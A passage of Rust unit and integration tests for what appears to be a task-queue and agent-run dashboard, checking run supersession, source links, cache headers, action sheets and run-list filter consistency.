21688        );
21689    }
21690
21691    #[tokio::test]
21692    async fn an_older_attempt_says_what_replaced_it() {
21693        let fx = Fixture::start().await;
21694        let q = fx.queue();
21695        let runs = fx.runs();
21696        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21697        write_run(&runs, first, RunStatus::Stalled);
21698        write_run(&runs, second, RunStatus::Blocked);
21699
21700        let mut t = Task::new(
21701            "one task".to_owned(),
21702            "do it".to_owned(),
21703            PathBuf::from("/repo"),
21704            Source::Human,
21705        );
21706        t.runs = vec![first.to_owned(), second.to_owned()];
21707        q.put(&mut t).expect("put");
21708
21709        // Two cards with the same title and no hint which is which was the
21710        // question: "why are there two of the same, one stalled and one
21711        // blocked?" The older one now names its replacement.
21712        let rows = fx.get("/api/runs").await.json();
21713        let by = |short: &str| -> Value {
21714            rows.as_array()
21715                .unwrap()
21716                .iter()
21717                .find(|r| r["short"] == short)
21718                .cloned()
21719                .unwrap_or(Value::Null)
21720        };
21721        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21722        assert!(
21723            by("bbbb")["superseded_by"].is_null(),
21724            "the latest attempt is not superseded by anything"
21725        );
21726        // Front end: the note has to be rendered, not just carried.
21727        assert!(APP_JS.contains("run.superseded_by"));
21728        assert!(APP_JS.contains("Superseded by"));
21729    }
21730
21731    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21732        let mut t = Task::new(
21733            "one task".to_owned(),
21734            "do it".to_owned(),
21735            PathBuf::from("/repo"),
21736            Source::Human,
21737        );
21738        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21739        t.status = status;
21740        t
21741    }
21742
21743    #[test]
21744    fn source_link_picks_the_page_that_filed_the_task() {
21745        let agent = |node: &str| Source::Agent {
21746            run: "20260904-014455-ab12".to_owned(),
21747            node: node.to_owned(),
21748        };
21749        let chat = source_link(&agent("chat")).expect("chat link");
21750        assert_eq!(chat.kind, "chat");
21751        assert_eq!(chat.id, "20260904-014455-ab12");
21752        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21753        let run = source_link(&agent("implement")).expect("run link");
21754        assert_eq!(
21755            (run.kind, run.href.as_str()),
21756            ("run", "#/runs/20260904-014455-ab12")
21757        );
21758        assert_eq!(source_link(&Source::Human), None);
21759        assert_eq!(
21760            source_link(&Source::Issue {
21761                number: 3,
21762                repo: "o/r".to_owned()
21763            }),
21764            None
21765        );
21766        let odd = source_link(&Source::Agent {
21767            run: "a b/c".to_owned(),
21768            node: "chat".to_owned(),
21769        })
21770        .expect("link");
21771        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21772    }
21773
21774    #[test]
21775    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21776        assert!(
21777            !APP_JS.contains("src.node === \"chat\""),
21778            "inline href rule is back"
21779        );
21780        assert!(
21781            APP_JS.matches("sourceLinkOf(").count() >= 4,
21782            "helper must serve every page"
21783        );
21784        assert!(
21785            APP_JS.matches("openChatLink(").count() >= 3,
21786            "the run page still needs its explicit chat link"
21787        );
21788        assert!(
21789            !APP_JS.contains("const openChat = el("),
21790            "the Queue card duplicates its source label link again"
21791        );
21792        assert!(
21793            APP_JS.contains("metaKids.push(link ? el(\"a\""),
21794            "the task page must link a chat source label too"
21795        );
21796    }
21797
21798    #[test]
21799    fn task_ref_carries_the_source_link_for_a_chat_task() {
21800        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21801        t.source = Source::Agent {
21802            run: "20260904-014455-ab12".to_owned(),
21803            node: "chat".to_owned(),
21804        };
21805        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21806        let v = serde_json::to_value(&out).expect("json");
21807        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21808        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21809        assert_eq!(v["source_label"], t.source.label());
21810
21811        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21812        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21813            .expect("json");
21814        assert!(v["source_link"].is_null(), "{v}");
21815    }
21816
21817    #[test]
21818    fn task_view_serializes_source_link() {
21819        let mut t = Task::new(
21820            "t".to_owned(),
21821            "t".to_owned(),
21822            PathBuf::from("/repo"),
21823            Source::Agent {
21824                run: "20260901-000000-aaaa".to_owned(),
21825                node: "implement".to_owned(),
21826            },
21827        );
21828        t.runs.clear();
21829        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21830        assert_eq!(v["source_link"]["kind"], "run", "{v}");
21831        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21832    }
21833
21834    #[test]
21835    fn task_view_serializes_urgent_flag() {
21836        let mut t = Task::new(
21837            "t".to_owned(),
21838            "t".to_owned(),
21839            PathBuf::from("/repo"),
21840            Source::Human,
21841        );
21842        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21843        assert_eq!(v["urgent"], false, "{v}");
21844        t.urgent = true;
21845        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21846        assert_eq!(v["urgent"], true, "{v}");
21847        assert!(APP_JS.contains("task.urgent === true"));
21848    }
21849
21850    #[tokio::test]
21851    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21852        let fx = Fixture::start().await;
21853        let runs = fx.runs();
21854        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21855        write_run(&runs, old, RunStatus::Blocked);
21856        write_run(&runs, new, RunStatus::Merged);
21857        let mut t = outcome_task(&[old, new], TaskStatus::Done);
21858        fx.queue().put(&mut t).expect("put");
21859
21860        let view = fx.get(&format!("/api/runs/{old}")).await.json();
21861        let task = &view["task"];
21862        assert_eq!(task["status"], "done");
21863        assert_eq!(task["is_latest"], false);
21864        assert_eq!(task["latest"]["short"], "bbbb");
21865        assert_eq!(task["finished_by"]["id"], new);
21866        assert_eq!(task["finished_by"]["outcome"], "merged");
21867        assert_eq!(task["closed_by_hand"], false);
21868        assert_eq!(view["status"], "blocked", "the run keeps its own status");
21869        assert!(APP_JS.contains("finished_by"));
21870        assert!(APP_JS.contains("superseded by run"));
21871    }
21872
21873    #[tokio::test]
21874    async fn the_latest_run_reports_a_held_task_without_a_successor() {
21875        let fx = Fixture::start().await;
21876        let runs = fx.runs();
21877        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21878        write_run(&runs, old, RunStatus::Stalled);
21879        write_run(&runs, new, RunStatus::Blocked);
21880        let mut t = outcome_task(&[old, new], TaskStatus::Held);
21881        fx.queue().put(&mut t).expect("put");
21882
21883        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21884        assert_eq!(task["status"], "held");
21885        assert_eq!(task["is_latest"], true);
21886        assert!(task["latest"].is_null());
21887        assert!(task["finished_by"].is_null());
21888        assert_eq!(task["closed_by_hand"], false);
21889    }
21890
21891    #[tokio::test]
21892    async fn a_direct_run_has_no_task_outcome() {
21893        let fx = Fixture::start().await;
21894        let runs = fx.runs();
21895        let id = "20260901-000000-aaaa";
21896        write_run(&runs, id, RunStatus::Blocked);
21897        let view = fx.get(&format!("/api/runs/{id}")).await.json();
21898        assert!(view["task"].is_null());
21899    }
21900
21901    #[test]
21902    fn task_outcome_does_not_guess_a_finishing_run() {
21903        let a = "20260901-000000-aaaa";
21904        let b = "20260901-000000-bbbb";
21905        let c = "20260901-000000-cccc";
21906        let dir = tempfile::tempdir().expect("tempdir");
21907        write_run(dir.path(), a, RunStatus::Blocked);
21908        write_run(dir.path(), b, RunStatus::VerifiedNoop);
21909        // `c` has no record: unreadable.
21910        let read = |id: &str| read_run(dir.path(), id).ok();
21911        // Neither a blocked run nor a no-op finished the task; the newest run is
21912        // unreadable and still named.
21913        let t = outcome_task(&[a, b, c], TaskStatus::Done);
21914        let out = task_outcome(&t, a, 3, read);
21915        assert!(out.finished_by.is_none());
21916        assert!(out.closed_by_hand);
21917        let latest = out.latest.expect("latest");
21918        assert_eq!(latest.id, c);
21919        assert_eq!(latest.status, None);
21920        assert_eq!(latest.outcome, "record unreadable");
21921
21922        // A Ready run settles the task as done, so it is named as the finisher.
21923        write_run(dir.path(), c, RunStatus::Ready);
21924        let t = outcome_task(&[a, c], TaskStatus::Done);
21925        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21926        assert_eq!(out.finished_by.expect("finisher").id, c);
21927        assert!(!out.closed_by_hand);
21928
21929        // A resumed run id repeats: it is still the latest by id.
21930        let t = outcome_task(&[a, b, a], TaskStatus::Held);
21931        assert!(task_outcome(&t, a, 3, read).is_latest);
21932    }
21933
21934    #[tokio::test]
21935    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21936        // The list route has known this since the card fix above; the detail
21937        // route — what an operator actually opens from a notification about
21938        // a blocked run — did not, and went on showing a bare red BLOCKED
21939        // chip for a run a retry had already finished.
21940        let fx = Fixture::start().await;
21941        let q = fx.queue();
21942        let runs = fx.runs();
21943        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21944        write_run(&runs, first, RunStatus::Blocked);
21945        write_run(&runs, second, RunStatus::Merged);
21946
21947        let mut t = Task::new(
21948            "one task".to_owned(),
21949            "do it".to_owned(),
21950            PathBuf::from("/repo"),
21951            Source::Human,
21952        );
21953        t.runs = vec![first.to_owned(), second.to_owned()];
21954        q.put(&mut t).expect("put");
21955
21956        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21957        assert_eq!(earlier["superseded_by"], "dddd");
21958        assert_eq!(earlier["latest_attempt"]["id"], second);
21959        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21960        assert_eq!(
21961            earlier["latest_attempt"]["resolved"], true,
21962            "the run that replaced it landed, so this one reads as settled"
21963        );
21964
21965        let later = fx.get(&format!("/api/runs/{second}")).await.json();
21966        assert!(
21967            later["superseded_by"].is_null(),
21968            "the latest attempt is not superseded by anything"
21969        );
21970        assert!(
21971            later["latest_attempt"].is_null(),
21972            "the latest attempt has no later attempt of its own"
21973        );
21974
21975        // Front end: the detail page has to read the field this route now
21976        // carries, downgrade the chip, and link to the run that replaced it —
21977        // not just repeat the list card's own logic under a different name.
21978        // The link is built off `latest_attempt.id`, the server-resolved
21979        // full id, never a bare short string a client would have to guess a
21980        // full run from.
21981        assert!(APP_JS.contains("run.latest_attempt"));
21982        assert!(APP_JS.contains("data-superseded"));
21983        assert!(APP_JS.contains("#/runs/${latest.id}"));
21984    }
21985
21986    #[tokio::test]
21987    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21988        // A -> B -> C, all Blocked except the last. A's immediate successor
21989        // (superseded_by) is B, which is itself unresolved; what an operator
21990        // opening A's page actually needs is where the task's story stands
21991        // *now* - C, not B - without depending on whether C happens to be in
21992        // whatever page of /api/runs the client last cached.
21993        let fx = Fixture::start().await;
21994        let q = fx.queue();
21995        let runs = fx.runs();
21996        let (a, b, c) = (
21997            "20260901-000000-aaaa",
21998            "20260901-000000-bbbb",
21999            "20260901-000000-cccc",
22000        );
22001        write_run(&runs, a, RunStatus::Blocked);
22002        write_run(&runs, b, RunStatus::Blocked);
22003        write_run(&runs, c, RunStatus::Merged);
22004
22005        let mut t = Task::new(
22006            "retried twice".to_owned(),
22007            "do it".to_owned(),
22008            PathBuf::from("/repo"),
22009            Source::Human,
22010        );
22011        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22012        q.put(&mut t).expect("put");
22013
22014        let view = fx.get(&format!("/api/runs/{a}")).await.json();
22015        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22016        assert_eq!(
22017            view["latest_attempt"]["id"], c,
22018            "the chain's current head, not the intermediate Blocked retry"
22019        );
22020        assert_eq!(view["latest_attempt"]["resolved"], true);
22021
22022        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22023        assert_eq!(mid["latest_attempt"]["id"], c);
22024        assert_eq!(mid["latest_attempt"]["resolved"], true);
22025    }
22026
22027    #[tokio::test]
22028    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22029        let fx = Fixture::start().await;
22030        let q = fx.queue();
22031        let runs = fx.runs();
22032
22033        // Still Blocked: the task is not resolved, so the older run must not
22034        // read as settled either.
22035        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22036        write_run(&runs, still_blocked_a, RunStatus::Blocked);
22037        write_run(&runs, still_blocked_b, RunStatus::Blocked);
22038        let mut t1 = Task::new(
22039            "still stuck".to_owned(),
22040            "do it".to_owned(),
22041            PathBuf::from("/repo"),
22042            Source::Human,
22043        );
22044        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22045        q.put(&mut t1).expect("put");
22046        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22047        assert_eq!(view1["latest_attempt"]["resolved"], false);
22048        assert_eq!(view1["latest_attempt"]["status"], "blocked");
22049        assert_eq!(view1["latest_attempt"]["done"], true);
22050
22051        // Still running: the successor exists and must be reported as such.
22052        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22053        write_run(&runs, run_a, RunStatus::Blocked);
22054        write_run(&runs, run_b, RunStatus::Implementing);
22055        let mut t3 = Task::new(
22056            "retrying".to_owned(),
22057            "do it".to_owned(),
22058            PathBuf::from("/repo"),
22059            Source::Human,
22060        );
22061        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22062        q.put(&mut t3).expect("put");
22063        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22064        assert_eq!(view3["latest_attempt"]["id"], run_b);
22065        assert_eq!(view3["latest_attempt"]["resolved"], false);
22066        assert_eq!(view3["latest_attempt"]["done"], false);
22067
22068        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
22069        // to check - not a confirmed finish, so this must not read as
22070        // resolved either, even though the run is done in the sense that
22071        // nothing is still running.
22072        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22073        write_run(&runs, noop_a, RunStatus::Blocked);
22074        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22075        let mut t2 = Task::new(
22076            "claims done".to_owned(),
22077            "do it".to_owned(),
22078            PathBuf::from("/repo"),
22079            Source::Human,
22080        );
22081        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22082        q.put(&mut t2).expect("put");
22083        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22084        assert_eq!(
22085            view2["latest_attempt"]["resolved"], false,
22086            "an unverified no-op claim must not read as a confirmed finish"
22087        );
22088
22089        // Front end: an unresolved successor must not carry the "finished
22090        // this work" note or the muted chip treatment.
22091        assert!(APP_JS.contains("latest.resolved"));
22092        // ...but the link to it shows as soon as it exists, labelled by state
22093        // and without the "finished" wording or the muted chip.
22094        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22095        assert!(APP_JS.contains("Latest attempt: "));
22096        assert!(APP_JS.contains("in flight"));
22097        assert!(APP_JS.contains("not resolved"));
22098    }
22099
22100    #[tokio::test]
22101    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22102        let fx = Fixture::start().await;
22103        // No cache header at all meant browsers invented their own policy,
22104        // and one did: a phone went on showing "Candidates must be folded
22105        // before deleting. Run `magi fold` first." - deleted two releases
22106        // earlier - from a deck that no longer contained the sentence. The
22107        // button it named was right there, and unreachable.
22108        let js = fx.get("/app.js").await;
22109        assert_eq!(js.status, 200);
22110        let tag = js
22111            .header("etag")
22112            .expect("an etag to revalidate against")
22113            .to_owned();
22114        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
22115        assert_eq!(
22116            js.header("cache-control"),
22117            Some("no-cache, must-revalidate"),
22118            "the phone has to ask every time"
22119        );
22120
22121        // And the asking has to be cheap, or `must-revalidate` just means
22122        // "send the whole interface on every load".
22123        let again = fx
22124            .get_with("/app.js", &[("if-none-match", tag.as_str())])
22125            .await;
22126        assert_eq!(
22127            again.status, 304,
22128            "a deck it already has costs one round trip"
22129        );
22130        assert!(again.body.is_empty(), "304 carries no body");
22131
22132        // A weakened tag from a proxy still matches; a different build does
22133        // not, which is the case that has to deliver the new interface.
22134        let weak = fx
22135            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
22136            .await;
22137        assert_eq!(weak.status, 304);
22138        let stale = fx
22139            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
22140            .await;
22141        assert_eq!(stale.status, 200, "an older build must be replaced");
22142        assert!(stale.body.contains("renderRunActions"));
22143    }
22144
22145    #[test]
22146    fn the_task_detail_has_an_actions_fab_and_sheet() {
22147        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
22148        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
22149        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
22150        // Shown only on the task route, closed everywhere else.
22151        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
22152        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
22153        // Refreshed whenever the detail redraws, including the loading state.
22154        assert!(APP_JS.contains("renderTaskActions(task);"));
22155        assert!(APP_JS.contains("renderTaskActions(null);"));
22156        // Same renderers and routes as the Queue card, no new endpoint.
22157        let sheet = APP_JS
22158            .find("function renderTaskActions")
22159            .expect("sheet renderer");
22160        let body = &APP_JS[sheet..sheet + 3000];
22161        assert!(body.contains("changePriority("));
22162        assert!(body.contains("openTaskEdit(task)"));
22163        assert!(body.contains("renderTaskHoldBox(host"));
22164        assert!(body.contains("renderTaskDoneBox(host"));
22165        assert!(body.contains("renderTaskDeleteBox(host"));
22166        assert!(APP_JS.contains("API.priority(id)"));
22167        assert!(APP_JS.contains("API.deleteTask(id)"));
22168        // A deleted task sends the operator back to the queue.
22169        assert!(APP_JS.contains("location.hash = \"#/queue\""));
22170        // A refusal is shown inside the sheet.
22171        assert!(APP_JS.contains("$(\"task-actions-error\")"));
22172    }
22173
22174    #[test]
22175    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
22176        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
22177        let actions = INDEX_HTML
22178            .find("id=\"run-actions-box\"")
22179            .expect("actions box");
22180        assert!(task < actions, "the task entry comes first in the sheet");
22181        assert!(APP_JS.contains("renderRunTaskEntry"));
22182        assert!(APP_JS.contains("\"Open task \""));
22183        // A run without a task says why there is nothing to open.
22184        assert!(APP_JS.contains("started directly, no task"));
22185        assert!(APP_JS.contains("sheet-task-link"));
22186        assert!(APP_JS.contains("task-chip-link"));
22187    }
22188
22189    #[test]
22190    fn the_deck_never_sends_the_operator_to_a_terminal() {
22191        // The whole point of the phone UI is that a terminal is not needed.
22192        // The delete control used to answer with "Run `magi fold` first."
22193        assert!(
22194            !APP_JS.contains("Run `magi fold` first"),
22195            "the deck must offer the fold, not prescribe a shell command"
22196        );
22197        assert!(APP_JS.contains("foldRun:"));
22198        assert!(APP_JS.contains("resumeRun:"));
22199        assert!(APP_JS.contains("renderRunActions"));
22200
22201        // Folding is destructive and armed in two steps, like deleting.
22202        assert!(APP_JS.contains("armedFold"));
22203        assert!(APP_JS.contains("Yes, fold worktrees"));
22204
22205        // And the copy has to say that the two actions are opposites, because
22206        // folding throws away exactly what a resume would continue from.
22207        assert!(APP_JS.contains("can no longer be resumed"));
22208    }
22209
22210    #[test]
22211    fn a_finished_run_explains_itself_with_its_own_last_line() {
22212        // The deck used to answer "why did this stop?" with a sentence chosen
22213        // by status alone. Run e633 stalled because two judges answered with
22214        // the wrong JSON shape and its card said "The panel collapsed on
22215        // agent quota" - with `quota: []` in the record and a quota-loss
22216        // counter right above it that correctly said nothing.
22217        assert!(
22218            !APP_JS.contains("collapsed on agent quota"),
22219            "a stall must not be explained by a cause the deck did not check"
22220        );
22221        assert!(
22222            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
22223            "and a block must not offer a guess with an `or` in it"
22224        );
22225
22226        // The reason it does have is `run.event`, which must reach finished
22227        // runs: gating it on movement hid the recorded truth at the one moment
22228        // the operator is reading the card to find out what happened.
22229        assert!(
22230            APP_JS.contains("setText(r.event, run.event || \"\")"),
22231            "the run's last line is rendered unconditionally"
22232        );
22233        assert!(
22234            !APP_JS.contains("moving && run.event"),
22235            "and never gated on the run still moving"
22236        );
22237
22238        // Quota keeps its own counter, fed by the number actually recorded.
22239        assert!(APP_JS.contains("lost to quota"));
22240    }
22241
22242    /// The runs tree (section) and the state chips (waiting/done) are two
22243    /// independent lenses ANDed together in `renderRuns`, and some pairings
22244    /// can never both be true for any run - every "Landed"/"Ended" run is
22245    /// done by construction, so pairing either with "Active" or "In flight"
22246    /// always rendered zero cards with the filter bar still claiming
22247    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
22248    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
22249    /// a handful of (waiting, status) shapes standing in for the run
22250    /// lifecycle, because `cargo test` cannot execute the front end.
22251    ///
22252    /// That stand-in list is itself the part that drifted twice in review:
22253    /// once shipped with `waiting: true` paired with a done status the
22254    /// lifecycle cannot produce, then over-corrected into treating every
22255    /// waiting run as never done - which made "Waiting on you" look
22256    /// incompatible with "Done" even for the one real, reachable shape
22257    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
22258    /// that combination. This test parses the shapes and the done-rule back
22259    /// out of `APP_JS`, reimplements `runSection` and the five state
22260    /// predicates independently in Rust, and checks the resulting
22261    /// section/filter compatibility table against the lifecycle rules by
22262    /// hand - so either direction of drift fails it again.
22263    #[test]
22264    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
22265        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
22266        let shapes_body_start =
22267            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
22268        let shapes_close = APP_JS[shapes_body_start..]
22269            .find("].map(")
22270            .expect("the shape list is closed by its done-computing .map(...)")
22271            + shapes_body_start;
22272        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
22273
22274        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
22275        for entry in shapes_src.split('{').skip(1) {
22276            let waiting = entry.contains("waiting: true");
22277            let dead = entry.contains("live: \"dead\"");
22278            let status_at =
22279                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
22280            let status_end = entry[status_at..]
22281                .find('"')
22282                .expect("the status string is closed")
22283                + status_at;
22284            let parked = entry.contains("display_status: \"parked\"");
22285            shapes.push((
22286                waiting,
22287                entry[status_at..status_end].to_string(),
22288                dead,
22289                parked,
22290            ));
22291        }
22292        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
22293
22294        // The done rule itself (`!["implementing"].includes(shape.status)`),
22295        // read out of the source rather than hardcoded, so a renamed
22296        // in-flight status can't silently make every parsed shape "done".
22297        let done_rule_marker = "done: !";
22298        let done_rule_at = APP_JS[shapes_close..]
22299            .find(done_rule_marker)
22300            .expect("the done rule follows the shape list")
22301            + shapes_close
22302            + done_rule_marker.len();
22303        let includes_at = APP_JS[done_rule_at..]
22304            .find(".includes(shape.status)")
22305            .expect("the done rule ends in .includes(shape.status)")
22306            + done_rule_at;
22307        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
22308            .trim()
22309            .trim_start_matches('[')
22310            .trim_end_matches(']')
22311            .split(',')
22312            .map(|s| s.trim().trim_matches('"'))
22313            .filter(|s| !s.is_empty())
22314            .collect();
22315
22316        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
22317            .into_iter()
22318            .map(|(waiting, status, dead, parked)| {
22319                let done = !not_done.contains(&status.as_str());
22320                (waiting, status, dead, parked, done)
22321            })
22322            .collect();
22323
22324        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
22325        // outright, then merged/ready land, stalled/blocked/failed/
22326        // verified_noop end, and everything else is still in flight.
22327        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
22328            if waiting {
22329                return "waiting";
22330            }
22331            if dead
22332                && !parked
22333                && !matches!(
22334                    status,
22335                    "merged"
22336                        | "ready"
22337                        | "stalled"
22338                        | "blocked"
22339                        | "failed"
22340                        | "verified_noop"
22341                        | "superseded"
22342                        | "already_in_base"
22343                )
22344            {
22345                return "stale";
22346            }
22347            match status {
22348                "merged" | "ready" => "landed",
22349                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
22350                | "already_in_base" => "ended",
22351                _ => "flight",
22352            }
22353        }
22354
22355        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
22356        // way.
22357        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
22358            match filter_key {
22359                "active" => !done,
22360                "flight" => !done && !waiting && !dead,
22361                "stale" => !done && !waiting && dead,
22362                "waiting" => waiting,
22363                "done" => done,
22364                "all" => true,
22365                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
22366            }
22367        }
22368
22369        let compatible = |section: &str, filter_key: &str| {
22370            shapes.iter().any(|(waiting, status, dead, parked, done)| {
22371                run_section(*waiting, status, *dead, *parked) == section
22372                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
22373            })
22374        };
22375
22376        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
22377        // (active, flight, stale, waiting, done, all) - hand-derived from the
22378        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
22379        // currently contains.
22380        let expected = [
22381            ("waiting", [true, false, false, true, true, true]),
22382            ("stale", [true, false, true, false, false, true]),
22383            ("flight", [true, true, false, false, false, true]),
22384            ("landed", [false, false, false, false, true, true]),
22385            ("ended", [false, false, false, false, true, true]),
22386        ];
22387        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
22388
22389        for (section, wants) in expected {
22390            for (filter_key, want) in filter_keys.iter().zip(wants) {
22391                assert_eq!(
22392                    compatible(section, filter_key),
22393                    want,
22394                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
22395                );
22396            }
22397        }
22398
22399        // The compatibility check exists only to be acted on: both pickers
22400        // must actually consult it rather than just render its answer.
22401        assert!(
22402            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
22403        );
22404        assert!(APP_JS.contains(
22405            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
22406        ));
22407        assert!(APP_JS.contains(
22408            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
22409        ));
22410    }
22411
22412    #[tokio::test]
22413    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
22414        // An operator-named directory - git checkout or not - is never
22415        // second-guessed, even when it does not exist at all: only the
22416        // flag's own unmodified `.` default is ever eligible for discovery.
22417        let dir = tempfile::tempdir().expect("tempdir");
22418        let explicit = dir.path().join("not-a-checkout");
22419        std::fs::create_dir_all(&explicit).expect("create dir");
22420        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
22421
22422        let missing = dir.path().join("does-not-exist-at-all");
22423        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
22424    }
22425
22426    #[test]
22427    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
22428        assert!(APP_JS.contains("function statsDonutArcs"));
22429        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
22430        // A bucket click filters by the statuses src/stats.rs counts in it.
22431        assert!(APP_JS.contains("function statusInBucket"));
22432        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
22433        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
22434        let buckets = [
22435            "merged",
22436            "ready",
22437            "in_progress",
22438            "blocked",
22439            "failed",
22440            "verified_noop",
22441            "superseded",
22442            "stalled",
22443        ];
22444        for key in buckets {
22445            let var = format!("--verdict-{key}:");
22446            // Light, OS-dark and pinned-dark blocks each define it.
22447            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
22448            assert!(
22449                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
22450                "{key}"
22451            );
22452        }
22453    }
22454}